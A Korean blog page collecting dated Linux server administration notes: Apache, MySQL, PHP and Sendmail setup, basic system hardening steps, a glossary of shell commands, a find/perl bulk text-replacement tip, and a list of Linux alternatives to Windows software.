  ns  IN  A  211.233.13.196
  mail IN  A  211.233.13.196
  vod     IN      A       211.233.13.194
 -->
 
 3. 네임서버 상세 문서.. (http://www.kr.freebsd.org/doc/PoweredByDNS/ 또는 네임서버.hwp)

<아파치실행>
 
 vi /usr/local/apache/conf/httpd.conf : 아파치 웹서버 설정파일
 /usr/local/apache/bin/apachectl restart : 아파치 재실행
 /usr/local/apache/bin/httpd -t : 아파치 설정파일 문법 오류 확인
 chk
 
<아파치 설치>
 
 1. tar xvfz apache_XXXX.tar.gz : 적당한 디렉토리에 압축해제
 2. cd apache_XXXX : 압축이 풀린 디렉토리로 이동
 3. configure
    configure --help : 옵션 도움말 보기
    --prefix=/home/httpd : 설치될 디렉토리
    --logfiledir=/var/log/httpd : 로그파일이 저장될 디렉토리
    --sysconfdir=/etc/httpd/conf : httpd.conf가 저장될 디렉토리
    --libexecdir=/etc/httpd/modules : 기능모듈파일이 저장될 디렉토리
    --sbindir=/usr/sbin : httpd 데몬과 바이너리가 저장될 디렉토리
    --bindir=/usr/bin : htpasswd 같은 바이너리 저장 디렉토리
    --mandir=/usr/share/man : 메뉴얼 페이지 저장 디렉토리
    --enable-module=all : 아파치가 사용할 모듈 전체 선택
    --enable-shared=max : 모듈처리가 가능한 모든 부분을 모듈처리
    --with-perl=/usr/bin/perl : 펄을 사용할때 펄의 디렉토리
    --verbose : configure 과정 출력
    --enable-suexec : cgi 구동시 지정 사용자로 변경하여 구동됨
    --suexec-caller=nobody : 위의 사용자 변경시 사용자
    --suexec-docroot=/home/htdocs : 다큐먼트 루트 디렉토리
    --suexec-logfile=/var/log/httpd/suexec_log : 로그 디렉토리 및 파일
    --suexec-userdir=public_html : 일반사용자의 홈디렉토리
    --suexec-uidmin=99 : caller에서 설정한 사용자의 UID
    --suxexc-gidmin=99 : caller에서 설정한 사용자의 GID
    --suxexc-umask=022 : caller가 사용할 PATH
    --runtimedir=/var/run : 웹서버 구동시 생성될 프로세스 PID 저장 디렉토리
    4. make : 바이너리와 설정파일 생성
    5. make install : 바이너리와 설정파일을 지정한 디렉토리로 복사
 
<mysql>

 mysql -u [계정이름] -p [비밀번호] : mysql 접속
 
 /usr/local/mysql/bin/mysqldump -u root [디비명] > [파일명] : DB 백업
 mysql -u root [디비명] < [파일명] :  DB 복원  
 
<mysql 설치>

 1. tar xvfz mysql-XXXX.tar.gz : 압축풀기
 2. cd mysql-XXX : 해당디렉토리로 이동
 3. configure
    ./configure --help : 도움말 및 옵션보기
    --prefix=/home/mysql : 설치 디렉토리
    --libexecdir=/usr/sbin : 바이너리 설치 디렉토리
    --localstatedir=/home/mysql/var : DB가 저장될 디렉토리
    --bindir=/usr/bin : 일반 바이너리가 설치될 디렉토리
    --sysconfdir=/etc : 설정파일(my.cnf) 가 저장될 디렉토리
    --with-mysqld-user=mysql : mysqld를 일반 계정 mysql로 구동
    --with-charset=euc_kr : 한국어 정렬지원
 4. make : 바이너리와 설정파일 생성
    5. make install : 바이너리와 설정파일을 지정한 디렉토리로 복사 
 6. echo "/home/mysql/lib/mysql" >> /etc/ld.so.conf : 라이브러리가 설치된 디렉토리 설정 추가
 7. ldconfig : 시스템이 참조하는 cache 파일 갱신
 8. chmod 755 /home/mysql/share/mysql/mysql.server : 실행가능 허용
 9. cp /home/mysql/share/mysql/mysql.server /etc/init.d/mysqld
 10. cp /home/mysql/share/mysql/my-example.cnf /etc/my.cnf : configure 시 설정파일 위치로 변경
 11. mysql_install_db : 초기화 DB 생성
 
 12. groupadd -r mysql
 13. useradd -M -c MySQL server -d /home/mysql -g mysql -s /bin/false -r mysql
     : mysql 계정으로 사용하도록 configure 하였으므로 계정생성
 14. chown -R mysql.mysql /home/mysql/var : 소유권 변경
 15. chkconfig mysqld on : 부팅시 자동실행
 16.  /etc/init.d/myslqd start : 실행
 
<PHP 설치>
 
 1. tar xvfz php-XXXX.tar.gz : 압축풀기
 2. cd v-XXX : 해당디렉토리로 이동
 3. configure
    ./configure --help : 도움말 및 옵션보기
    --with-mysql=/home/mysql : db를 mysql로 사용하고, 디렉토리 정의
    --enalbe-versioning : php 3,4 버전 호환
    --enable-trans-sid : php4의 세션관리기능 사용
    --with-apxs=/usr/sbin/apxs : php를 DSO방식으로 컴파일 하기 위해 apxs 위치 설정
    --with-config-file-path=/etc : 설정파일 위치 지정
    --disable-debug : zend 옵티마이저를 사용할수 있게 설정
 4. make : 바이너리와 설정파일 생성
    5. make install : 바이너리와 설정파일을 지정한 디렉토리로 복사
    6. cp ./php.ini-optimized /etc/php.ini : --with-config-file-path로 지정한 디렉토리에 설정파일 카피
    7. www.zend.com/store/products/zend-optimizer.php 다운로드
    8. /etc/httpd/modules 로 ZendOptimizer.so 를 카피
    9. vi /etc/php.ini 에 다음줄 2줄 추가
       zend_optimizer.optimization_level=15
       zend_extension=/etc/httpd/modules/ZendOptimizer.so
    10. vi httpd.conf에서 Addtype에 php3, phtml, inc, ph, html등 추가
    11. /etc/init.d/httpd restart : php 재실행
   
<httpd.conf 설정>

 ServerType standalone : 구동형태를 standalone을 기본값으로 함
 PidFile /var/run/httpd.pid : 구동되는 프로세서의 PID가 기록되는 파일 설정
 Timeout 300 : 클라이언트와 서버간 연결지연 시간 오류 설정 : 초단위
 KeepAlive On : 서버연결에 한번이상 요청을 허용
 MaxKeepAliveRequest 100 : keepalive가 on인경우 서버에 요청할수 있는 프로세서의 갯수
 KeepAliveTimeout 5 : 클라이언트가 5초이내에 다음요청이 없을때 접속 끊음
 MinSpareServers 5 : 순간적인 시스템 부하를 줄이기 위해 여분의 데몬을 생성하고, nobody로 구성되는 httpd 생성
 MaxSpareServers 10 : 여분의 데몬 제한
 StartServers 5 : 여분의 httpd 구동
 MaxClients 256 : 동시접속자수 제한
 MaxResuestPerChild 100 : 하나의 프로세스가 서비스를 몇번하고 소멸될 것인가
 LoadModule php4_module libexec/libphp4.so : 아파치 모듈
 AddModule mod_php4.c :LoadModule과 동시 설정
 Port 80 : 80 포트 사용
 User nobody : 데몬의 소유권
 Group nobody : 데몬의 그룹권한
 ServerAdmin root@devank.co.kr : 웹서버에 문제가 발생시 관리자메일 주소를 보여줌
 DocumentRoot "/home/httpd/htdocs" : 사이트 루트디렉토리
 UserDir public_html : 일반사용자의 ~를 통해 사용할 경우 디렉토리..
 DirectoryIndex index.html index.php, index.cgi : 웹사이트 초기파일
 AccessFileName .htacess : 특정디렉토리 사용자 인증 설정 파일
 DefaultType text/plain : 알수없는 확장자를 만났을때.. text로처리
 HostnameLookups off : access_log에 IP대신 host명으로 기록
 ErrorLog /home/httpd/logs/error_log : 로그파일기록
 CustomLog /home/httpd/logs/access_log common : 클라이언트 접속 로그
 ScriptAlias /cgi-bin/ "/home/httpd/cgi-bin/ : cgi 실행 설정
 AddType application/x-httpd-php .php .php3 : 웹서버가 인식할 확장자
 
 
 /etc/init.d/httpd configtest : 문법적 에러 점점
 
 NameVirtualHost 211.233.58.196
 <VirtualHost 211.233.58.196>
 ServerAdmin root@devbank.co.kr
 DocumentRoot /home/ohhappy/docs
 ServerName devbank.co.kr
 ErrorLog logs/error_log
 CustomLog logs/access_log common
 </VirtualHost>
 
 Options Indexes FollowSymLinks MultiViews 에서 indexes란 단어를 빼면 디렉토리인덱스 서비스 제외
 
<ftp 시작>
 /etc/init.d/proftd-standalone start
  
<Sendmail>
 
 1. Sendmail 패키지
    - sendmail-8.11.2.-14.i386.rpm
    - sendmail-cf-8.11.2-14.i386.rpm

 2. vi /etc/mail/aliases
    webmaster : root #webmaster로 오는 메일을 root가 수신
    sales : neo,nvng,bermine,nvng@devbank.co.kr #sales@devbank.co.kr로 오는메일을 neo, nvng, bermine 계정이 동시에 수신
   
 3. vi /etc/mail/access
 
    211.233.13.195 RELAY   : 릴레이 허용
    devbank.co.kr    RELAY   : 릴레이 허용
    yahoo.com        REJECT  : yahoo.com 메일 발송 거부
 
 4. vi /etc/mail/local-host-names
    : 복수의 메일 호스트를 사용할경우 반드시 설정
    devbank.co.kr
    designter.com
    ns.devbank.co.kr
   
 5. vi /etc/mail/virtusertable
 
    stock@eoholdings.co.kr lucky
    lucky@eoholdings.co.kr lucky
   
    : 한계정이 여러개의 메일을 일괄수신하게 하는 것
 
 6. smtp 사용자 인증
 
    cyrus-sasl-1.5.24-17 : 설치
    cyrus-sasl-devel-1.5.24-17 : 설치
    vi /usr/lib/sasl/Sendmail.conf
    pwcheck_method:pam 을 pwcheck_method:sasldb 로 변경
   
    saslpasswd -u [호스트명] [사용자명] : sasldb 생성, 계정생성
    sasldblistusers : 사용자 리스트 출력
   
    vi /etc/mail/sendmail.mc
    DEMON_OPTIONS('Port=smtp, Addr=127.0.0.1, Name=MTA')dnl : 수정
    m4 /etc/mail/sendmail.mc > sendmail.cf :sendmail.cf 생성
    sendmail.cf를 /etc로 복사
   
    /etc/init.d/sendmail restart : 샌드메일 재구동
   
 7. 메일계정만 사용하는 계정생성
    useradd -M -s /bin/false 사용자명  
   
<기본보안설정>

 1) 패스워드 길이 강제 지정 (vi /etc/login.defs)
 
  PASS_MIN_LEN 5
  to read;
  PASS_MIN_LEN 8
 
 2) 루트계정의 자동타임아웃지정 (vi /etc/profile)
 
  TMOUT=7200 (초단위시간, HISTSIZE 아래 설정)
 
 3) 사용하지 않는 콘솔 프로그램 비활성화
 
  rm -f /etc/security/console.apps/halt
  rm -f /etc/security/console.apps/poweroff
  rm -f /etc/security/console.apps/reboot
  rm -f /etc/security/console.apps/shutdown
  rm -f /etc/security/console.apps/xserver (X 서버 설치시만)
 
 4) 파일의 권한 설정
 
  chattr +i /etc/services (서비스네임과 포트넘버가 기록된 파일)
  chattr +i /etc/passwd
  chattr +i /etc/shadow
  chattr +i /etc/group
  chattr +i /etc/gshadow
 
  (권한을 풀때는 -i 로 옵션을 변경해 주면된다.)
 
  chattr -R +A /var/spool  (for a news and mail)
  chattr -R +A /chache  (for a proxy caches)
  chattr -R +A /home/httpd/ona   (form a web page)
 
  (해당 디렉토리에 atime 속성을 적용한다.)
 
 5) 루트가 열수있는 콘솔을 하나로 제한 (vi /etc/securetty)
 
  tty1 만남겨두고 모두 주석처리한다.
 
 6) 사용하지 않는 유저 및 그룹삭제
 
  userdel adm
  userdel lp
  userdel sync
  userdel shutdown
  userdel halt
  userdel news
  userdel uucp
  userdel operator
  userdel games
  userdel gopher
  userdel ftp
 
  groupdel adm
  groupdel lp
  groupdel news
  groupdel uucp
  groupdel games
  groupdel dip
  groupdel pppusers
  groupdel popusers
  groupdel slipusers
 
 7) 누구나 루트가 되는 것 방지하기
 
  1단계.
  (vi /etc/pam.d/su) 다음 내용추가
  auth sufficient /lib/security/pam_rootok.so debug
  auth required /lib/security/pam_wheel.so group=wheel
 
  2단계.
  usermod -G10 [사용할 계정이름]
  (G는 그룹리스트 추가를 10은 wheel 그룹을 의미함)
  (루트가 될수 있는 계정을 등록한다.)
 
 8) 사용자의 시스템 자원제한
 
  1단계.
  (vi /etc/security/limits.conf)
 
  hard core 0      (코어파일 생성의 저지)
  hard rss  5000    (계정별 사용자 메모리를 5메가로 제한)
  hard nproc 20   (프로세스 숫자를 20개로 제한)
 
  2단계.
  (vi /etc/pam.d/login)
 
  session  required  /lib/security/pam_limits.so
 
 9) 특정 파티션, 폴더의 권한 설정하기
 
  fstab 파일의 옵션
  default  모든 것이 가능함
  noquota  사용자의 하드용량을 제한함
  nosuid  suid/sgid 엑세스를 못하게 함
  nodev  특별한장치나 문자 디바이스를 엑서스 하지 못하게 한다.
  noexec  실행파일을 실행할수 없도록 함
  quota  사용자의 용량을 제한하지 않음
  ro  읽기만 허용
  rw  읽기 쓰기 허용
  suid  SUID/SGID를 허용
 
  (vi /etc/fstab)
  /dev/sda11 /tmp  ext2  defaults 1 2
  /dev/sda6  /home ext2  defaults 1 2
 
  to read;
 
  /dev/sda11 /tmp ext2 defaults,rw,nosuid,nodev,noexec 1,2
  /dev/sda11 /home ext2 defaults,rw,nosuid,nodev,nodev 1,2
 
  재부팅해야 적용됨
 
 10) rpm 파일들을 안전한 장소에 옮긴후 퍼미션을 변경해 준다.
 
  chmod 700 /bin/rpm
        
 11) 명령어 히스토리 파일 갯수 제한 (vi /etc/profile)
 
  HISTFILESIZE=20
  HISTSIZE=20
 
  (사용자의 홈디렉토리의 .bash_histroy 파일에 20개까지만 저장)
 
 12) Lilo 부트 로더 설정
 
  1단계.  (vi /etc/lilo.conf)
 
  boot=/dev/sda
  map=/boot/map
  install=/boot/boot.b
  prompt
  timeout=00  (부팅이미지 지연시간, 멀티부팅시는 00불가)
  Default=linux
  restricted  (싱글모드에 패스워드를 걸기위한 옵션)
  password=<password> (싱글유저접속시 패스워드)
  image=/boot/wmlinuz-2.2.12-20
  lable=linux
  initrd=/dev/sda6
  read-only
 
  2단계. 파일이 암호화가 안되어 있으므로 슈퍼유저권한설정
 
  chmod 600 /etc/lilo.conf
 
  3단계. 효과적용단계
 
  /sbin/lilo -v
 
  4단계. 속성변경
 
  chattr +i /etc/lilo.conf
 
 13) ctrl+alt+del 비활성
 
  1단계.
 
  (vi /etc/inittab)
 
  ca::ctrlaltdel:/sbin/shutdown -t3 -r now
 
  to read;
 
  #ca::ctrlaltdel:/sbin/shutdown -t3 -r now
 
  2단계. 적용실행
 
  /sbin/init q
 
 14) init.d 디렉토리 파일들의 파일 권한 변경 (프로세스들과 부팅시 필요한 파일들임
 
  chmod -R 700 /etc/rc.d/init.d/*
 
 15) rc.local 파일 설정 (로그인시 컴터의 정보가 못나오게 함)
 
  1단계. (vi /etc/rc.d/rc.local) 다음을 주석처리한다.
 
  #echo "" > /etc/issue
  #echo "$R" >> /etc/issue
  #echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
  #
  #cp -f /etc/issue /etc/issue.net
  #echo >> /etc/issue
 
  2단계. 다음 파일을 지운다.
 
  rm -f /etc/issue
  rm -f /etc/issue.net
 
 16) setuid 걸린 프로그램의 퍼미션제거
 
  1단계. 찾는 법
 
  find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
  (04000은 setuid 이며, 02000은 setgid임.. 이런파일은 누구나 사용할수 있다.)
 
  2단계. 권한ㅇ르 지워야할 파일들
 
  chmod a-s /usr/bin/chage
  chmod a-s /usr/bin/gpasswd
  chmod a-s /usr/bin/wall
  chmod a-s /usr/bin/chfn
  chmod a-s /usr/bin/chsh
  chmod a-s /usr/bin/newgrp
  chmod a-s /usr/bin/write
  chmod a-s /usr/bin/usernetctl
  chmod a-s /usr/bin/traceroute
  chmod a-s /bin/mount
  chmod a-s /bin/umount
  chmod a-s /bin/ping
  chmod a-s /bin/netreport
 
 17) /etc/sysctl.conf 파일 설정
 
  (vi /etc/sysctl.conf)
 
  net.ip4.icmp_echo_ignore_all = 1  (핑요청으로부터 보호)
  net.ipv4.icmp_echo_ignore_brodacasts = 1 (브로드캐스트로부터의 보호)
  net.ipv4.conf.all.accept_source_route = 0 (라우팅 요청으로의 보호)
  net.ipv4.tcp_syncookies = 1   (tcp syn cookie로부터 보호/예전 야후공격방법)
  net.ipv4.conf.all.accept_redirects = 0  (ICMP 재접속 요청으로 부터 보호)
  net.ipv4.ip_always_defrag = 1   (패킷분할요청으로 부터 보호)
  net.ipv4.icmp_ignore_bogus_error_responses = 1 (가짜 에러메시지 호출 방지)
  net.ipv4.conf.all.rp_filter = 1   (IP Spoofing 공격으로 부터 보호)
  net.ipv4.conf.all.log_martians = 1  (Log Spoofed Packets, Source Routed Packets, Redirect Packets 보호)
  vm.bdflush=100 1200 128 512 15 5000 500 1884 2 (bdflush 파라미터)
  wm.buffermem=80 10 60    (bdffermem 파라미터)
  net.ipv4.ip_local_port_range=32768 61000 (ip_local_port_range 파라미터)
  fs.file-max=8192    (file-max 파라미터)
  fs.inode-max=32768    (inode-max 파라미터)
  net.ipv4.tcp_fin_timeout=30   (TCP/IP 접속시간 조절)
  net.ipv4.tcp_keepalive_time=1800
  net.ipv4.tcp_window_scaling=0
  net.ipv4.tcp_sack=0
  net.ipv4.tcp_timestamps=0
 
 18) /root/.bashrc 파일수정
 
  (vi /root/.baxhrc)
 
  ulimit -u unlimited   (max user processes 제한)
  ulimit -n 9000   (시스템에서 열수 있는 파일수 증가)
 
  (ulimit  -a 로 결과확인)

<로그분석 : webalizer>

 1) 파일다운로드 (http://www.webalizer.com)
 2) cd /usr/local 에 파일 카피 후
 3) 압축 풀기 :  tar xvfz webalizer-2.01-10-src.tar (webalizer 디렉토리 에 풀림)
 4) 웹얼라이저 디렉토리로 이동후 configure 를 실행
    ./configure -with-language=korea (한국어 지원옵션 선택)
 5) make (컴파일한다.)
 6) make install (인스톨한다.)
 7) 상세사용법 (http://www.webalizer.co.kr/)

출처 : http://www.widusnet.co.kr

2009/05/08 16:00 2009/05/08 16:00
리눅스 간단 명령어 정리 모음 입니다. 참고하세요

alias (명령어 간소화하기)
apropos (관련된 명령어 찾기)
arch (컴퓨터 종류 알기)
arp (같은 서브넷의 IP 보여주기)
at (작업 시간 정하기)
atd (계획성 있는 작업 실행하기)
awk (특정 패턴 문자 처리하기)
a2p (펄 파일로 바꾸기)
badblocks (배드 블럭 검사하기)
bc (계산기)
biff (메일 수신 소리로 확인하기)
bg (후면작업; 배경화면 설정)
bind (키나 함수 순서 결합하기)
break (루프 빠져나가기)
cal (달력보기)
builtin (내부 명령어 알아보기)
case (조건 처리하기)
cat (화면상에서 파일 보기)
cd (디렉토리 변경하기)
cfdisk (디스크 설정하기)
chattr (파일 속성 변경하기)
chfn (사용자 정보 변경하기)
chgrp (파일, 디렉토리가 속했던 그룹 바꾸기)
chmod (파일 권한 바꾸기)
chown (파일 주인 바꾸기)
chsh (지정된 셸 바꾸기)
cksum (CRC값을 점검한다)
clear (화면 청소하기)
clock (CMOS 시각을 조정하기)
cmp (파일 비교하기)
colcrt (문자 변환 필터)
colrm (열 삭제하기)
column (가로 정렬하기)
comm (파일 비교 출력하기)
command (명령어 알아보기)
continue (루프 계속돌기)
cp (파일 복사하기)
cpio (복사본 만들기)
crontab (cron을 관리한다)
csplit (파일에 서식, 규칙 정하기)
cut (필요한 필드만 출력하기)
date (날짜 보기)
dd (블럭장치 읽고 쓰기)
debugfs (ext2 파일 시스템 디버깅하기)
declare (변수 선언하기)
df (파일 시스템의 사용량 보기)
dirs (디렉토리 목록 표시하기)
dmesg (부팅 메시지 보기)
dnsdomainname (DNS 이름 출력)
domainname (NIS 이름 출력&설정)
du (디렉토리와 파일의 용량 파악하기)
dumpe2fs (파일 시스템 정보 보기)
echo (표준 출력하기)
eject (장치 해제하기)
elm (메일 관련)
enable (내부 명령어 지정)
env (환경변수 출력하기)
eval (인수 읽기)
exec (셸 명령어 실행하기)
exit (종료하기)
expand (탭을 공백으로 변환하기)
export (변수 지정하기)
e2fsck (파일 시스템 복구하기)
fc (지정된 편집기 받기)
fdformat (플로피 디스크 포맷하기)
fdisk (파티션 나누기)
fg (지정된 작업을 전면 프로세스로 시작하기)
file (파일 종류 보기)
find (파일 찾기)
finger (사용자 정보 알기)
fold (정형화하기)
fmt (정형화하기)
for (반복 실행하기)
free (메모리 사용량 알아보기)
fsck (파일 시스템 검사하기)
fstab (파일 시스템에 대한 고정적인 정보 저장하기)
ftp (파일 전송 프로그램)
fuser (프로세스 ID 출력)
getkeycodes (매핑 테이블 출력하기)
grep (특정 문자 (열) 검색하기)
gzexe (실행 파일 압축하기)
gzip (압축하기)
halt (시스템 종료하기)
hash (기억해 두기; index 역할)
head (파일의 앞부분 출력하기)
help (도움말 보여주기)
host (호스트 정보 보기)
history (사용 명령어 목록보기)
hostname (서버 이름 알기)
id (계정 정보 알기)
if (조건문 실행하기)
ifconfig (랜카드에 주소 할당하기)
imolamod (모듈 설치하기)
inetd (인터넷 서비스의 최상위 데몬)
init (실행 단계 정하기)
ispell (철자법 검사하기)
jobs (수행중인 프로세스 알기)
kbd_mode (키보드 모드 출력하기)
kill (프로세스 죽이기)
klogd (커널 로그 데몬)
ldd (공유 라이브러리의 의존성 알기)
less (페이지 단위로 출력하기)
let (정규식 표현하기)
lilo (부팅하기)
ln (링크하기)
locate (패턴에 맞는 파일 찾기)
login (로그인하기)
logger (시스템 로그 기록하기)
logname (사용자 로그인명 보여주기)
logout (로그인 셸 종료하기)
look (특정 단어 검색하기)
losetup (중복 장치 확인하기)
lpd (프린트 데몬)
lpq (현재 프린트 작업 상태 출력하기)
lpr (출력하기)
lprm (대기열에 있는 문서 삭제하기)
ls (디렉토리 내용보기)
lsattr (파일 시스템의 속성 보여주기)
lsdev (하드웨어 장치 출력하기)
lsmod (모듈 정보 출력하기)
mail (메일 관련)
make (컴파일하기)
man (매뉴얼 보기)
mattrib
mbadblocks
mcd
mcopy
mdel
mdeltree
mdir
mesg (메시지를 받을 수 있는지 확인하기)
mformat
minfo
mkdir (디렉토리 만들기)
mke2fs (파일 시스템 생성하기)
mkfs (파일 시스템 만들기)
mknod (특수 파일 만들기)
mkswap (스왑 영역 지정하기)
mlabel
mmd
mmount
mmove
mpartition
mount (장치 연결하기)
more (화면 단위로 출력하기)
mrd
mren
mtoolstest
mtype
mutt (메일 관련)
mv (파일 옮기기)
mzip
netstat (현재 네트웍 상황 보기)
nice (프로세스 우선 순위 변경하기)
od (8진수로 파일 보기)
passwd (암호 입력하기)
pidof (실행중인 프로그램의 프로세스 ID 찾기)
pine (메일 관련)
ping (네트웍 확인하기)
popd (pushd 취소)
ps (프로세스 纘?알기)
pstree (프로세스 상관관계 알기)
pwd (절대경로 보여주기)
quota (디스크 한계량 알기)
rarp (rarp 테이블 관리하기)
rcp (원격 호스트에 파일 복사하기)
rdev (루트, 스왑장치, 램 크기, 비디오 모드를 조사하고 설정하기)
rdate (네트웍으로 시간 설정하기)
reboot (재부팅하기)
rmmod (모듈 지우기)
readonly (읽기 전용으로 표시하기)
renice (프로세스 우선 순위 바꾸기)
reset (터미널 초기화하기)
restore (다시 저장하기)
rlogin (바로 접속하기)
rm (파일 지우기)
rmdir (디렉토리 지우기)
route (라우팅 테이블 추가/삭제하기)
rpm (프로그램 추가/삭제)
rpm2cpio (rpm을 cpio로 변환하기)
rsh (원격으로 명령어 실행하기)
rup (호스트 상태 출력하기)
rusers (호스트에 로그인한 사용자 출력하기)
rwall (호스트 사용자에게 메시지 뿌리기)
script (기록하기)
set (변수값 설정하기)
setup (시스템 관련 설정하기)
showmount (호스트의 마운트 정보 보여주기)
shutdown (전원 끄기)
sleep (잠시 쉬기)
source (스크립트 번역하기)
split (파일 나누기)
ssh (암호화된 원격 로그인하기)
stty (터미널라인 설정 보여주기)
su (계정 바꾸기)
suspend (셸 중단하기)
swapoff (스왑 해제하기)
swapon (스왑 활성화하기)
sync (버퍼 재설정하기)
syslogd (로그인 과정 설정하기)
tac (거꾸로 보기)
tail (문서 끝부분 출력하기)
talk (이야기하기)
tar (파일 묶기)
tcpdchk (tcp wrapper 설정하기)
tcpmatch (네트웍 요청에 대해 예측하기)
tee (표준 입력으로부터 표준 출력 만들기)
telnet (원격접속하기)
test (테스트하기)
times (셸에서의 사용자와 시스템 시간 출력하기)
top (cpu 프로세스 상황 보여주기)
tr (문자열 바꿔주기)
true (종료 코드 리턴하기)
type (유형 보기)
ul (밑줄 처리해서 보여주기)
ulimit (제한하기)
umask (매스크 모드 설정하기)
umount (장치 해제하기)
unalias (별명 제거하기)
uname (시스템 정보 보기)
unexpand (공백 문자를 탭으로 변환하기)
uniq (중복된 문장 찾기)
useradd (사용자 계정 만들기)
userdel (계정 삭제하기)
usermod (사용자 계정정보 수정하기)
unset (설정 변수 해제)
uptime (시스템 부하 평균 보여주기)
users (로그인된 사용자 보여주기)
w (시스템에 접속한 사용자 상황 알아보기)
wait (프로세스 기다리기)
wall (모든 사용자에게 메시지 보내기)
wc (문자, 단어, 라인수 세기)
whatis (명령어의 간단한 설명보기)
while (루프 명령어)
who (사용자 알기)
write (콘솔 상에서 간단한 메시지 보내기)
xcopy (반복적으로 복사하기)
XFree86
ypchfn (NIS에서 사용하는 chfn 명령어)
ypchsh (NIS에서 사용하는 chsh 명령어)
yppasswd (NIS에서 사용하는 passwd 명령어)
zcat (압축 파일 보기)
zcmp (압축 파일 비교하기)
zforce (강제로 gz 만들기)
zgrep (압축 상태에서 grep 실행하기)
zmore (압축 상태에서 more 실행하기)
2009/04/30 15:13 2009/04/30 15:13
find 명령어를 사용하여 파일의 내용을 일괄적으로 특정 내용으로 변경하는 방법. 라는 글에서 find 명령어로 파일의 내용을 일괄변경하는 방법에 대해서 언급한 적이 있는데요. 오늘도 수천개의 파일의 내용을 동시변경할 일이 있어서 하던대로 했더니 이상한 문법 에러를 밷으면서 안되더군요.

그래서 뭐가 달라졌나 봤더니.. 바꿀 대상 문자열에 ' (홑따옴표) 와 % 기호가 있다는 것이 달라진 점이더군요. 일단 /, ", % 는 앞에 \ 를 붙여주니 해결이 되었는데, ' 는 앞에 \ 를 붙여주어도 해결되지 않았습니다. 조금 삽질을 하다가.. 아마 전체 문자열을 둘러싸고 있는 기호가 홑따옴표라서 그렇지 않을까.. 하고 생각하고 대상 문장을 둘러싸는 기호를 홑따옴표에서 겹따옴표로 바꿔주고 ' 앞에 \ 를 붙여주니 잘 실행되네요.

find ./ -name "*.htm" -exec perl -pi -e "s/원본문자열/바뀔문자열/g" {} \;

혹시나 같은 이유로 삽질하시는 분이 계실까봐 올려봅니다. 바뀔문자열에 ' (홑따옴표) 가 포함되어 있다면 문장 전체를 둘러싸는 기호를 " (겹따옴표) 로 바꾸면 됩니다.
2009/04/30 13:25 2009/04/30 13:25

파일 내용 일괄 변경 기능

- perl을 사용합니다.

- 현재 디렉토리아래의 모든 html 파일안의 "www/zenon" 이라는 문구를 "www/dev/zenon"이라는 문구로 대체


find ./ -name "*.html" -exec perl -pi -e 's/www\/zenon/www\/dev\/zenon/g' {} \;



특정 파일 일괄 관리 기능
find . -name "*.pc" -print | xargs -l {} -t mv {} [옮길 폴더명]


조금 빠른 복사
tar cf - . | ( cd [옮길 폴더명] && tar xBf - )

2009/04/30 13:23 2009/04/30 13:23
노트북에 리눅스를 깔아 사용중 입니다.
제 경우는 일반적인 웹 작업을 위해 프로그램 뿐만 아니라 그래픽이나 기타 미디어 제작 부분등도 거의 노트북에서 작업 합니다.
기회가 되면 리눅스용 프로그램 리스트를 정리 할려고 했는데 이미 잘 정리된 사이트가 있군요. 리눅스 데스크탑 사용 하시는 분들은 참고 해 보세요.


Windows Software Linux Equivalent/Alternative
3D Studio Max
    K-3D ( http://www.k-3d.org/ )
    Wings 3D ( http://www.wings3d.com/ )
    Art of Illusion ( http://www.artofillusion.org/ )
    Blender ( http://www.blender.org/ )
 
ACDSee
    KuickShow ( http://kuickshow.sourceforge.net/ )
    ShowImg ( http://www.jalix.org/projects/showimg/ )
    Gwenview ( http://gwenview.sourceforge.net/ )
    GQview ( http://gqview.sourceforge.net/ )
    Eye of GNOME ( http://www.gnome.org/projects/eog/ )
 
Adobe Acrobat Reader
    okular ( http://kpdf.kde.org/okular/ )
    Xpdf ( http://www.foolabs.com/xpdf/ )
    Evince ( http://www.gnome.org/projects/evince/ )
    ePDFView ( http://trac.emma-soft.com/epdfview/ )
    KPDF ( http://kpdf.kde.org/ )
 
Adobe Audition
    Audacity ( http://audacity.sourceforge.net/ )
 
Adobe Illustrator
    Skencil ( http://www.skencil.org/ )
    Inkscape ( http://www.inkscape.org/ )
    Karbon14 ( http://www.koffice.org/karbon/ )
    Xara Xtreme for Linux ( http://www.xaraxtreme.org/ )
 
Adobe PageMaker
    Scribus ( http://www.scribus.net/ )
 
Adobe PhotoAlbum
    F-Spot ( http://f-spot.org/Main_Page )
    KPhotoAlbum ( http://www.kphotoalbum.org/ )
    digiKam ( http://www.digikam.org/ )
 
Adobe Photoshop
    CinePaint ( http://www.cinepaint.org/ )
    Krita ( http://www.koffice.org/krita/ )
    GIMP ( http://www.gimp.org/ )
    
Adobe Premier
    PiTiVi ( http://www.pitivi.org/wiki/Main_Page )
    LiVES ( http://lives.sourceforge.net/ )
    Kino ( http://www.kinodv.org/ )
    Cinelerra ( http://cvs.cinelerra.org/ )
    kdenlive ( http://kdenlive.sourceforge.net/ )
    Jahshaka ( http://www.jahshaka.org/ )
 
Ant Movie
    Catalog Moviefly ( https://savannah.nongnu.org/projects/lmc/ )
 
AOL Instant Messenger (AIM)
    Kopete ( http://kopete.kde.org/ )
    Pidgin ( http://pidgin.im )
 
APC PowerChute
    Network UPS Tools ( http://www.networkupstools.org/ )
    Apcupsd ( http://www.apcupsd.com/ )
    PowerD ( http://power.sourceforge.net/ )
 
CDex
    Sound Juicer ( http://www.burtonini.com/blog/computers/sound-juicer )
    Rubyripper ( http://wiki.hydrogenaudio.org/index.php?title=Rubyripper )
    ripperX ( http://ripperx.sourceforge.net/ )
    Grip ( http://nostatic.org/grip/ )
    KAudioCreator ( http://www.icefox.net/programs/?program=KAudioCreator )
 
Collectorz
    aviManager ( http://avimanager.sourceforge.net/ )
    GCstar ( http://www.gcstar.org/ )
    Tellico ( http://periapsis.org/tellico/ )
    Alexandria ( http://alexandria.rubyforge.org/ )
    Griffith ( http://griffith.vasconunes.net/ )
    vMovieDB ( http://vmoviedb.sourceforge.net/ )
    Katalog ( http://salvaste.altervista.org/ )
 
Dreamweaver
    Quanta Plus ( http://quanta.kdewebdev.org/ )
    Geany ( http://geany.uvena.de )
    Nvu ( http://www.nvu.com/index.php )
    Screem ( http://www.screem.org/ )
    KompoZer ( http://www.kompozer.net/ )
    Bluefish ( http://bluefish.openoffice.nl/index.html )
 
DVDShrink
    k9copy ( http://k9copy.sourceforge.net/ )
    OGMRip ( http://ogmrip.sourceforge.net/ )
    Thoggen ( http://thoggen.net/ )
    xdvdshrink ( http://dvdshrink.sourceforge.net/ )
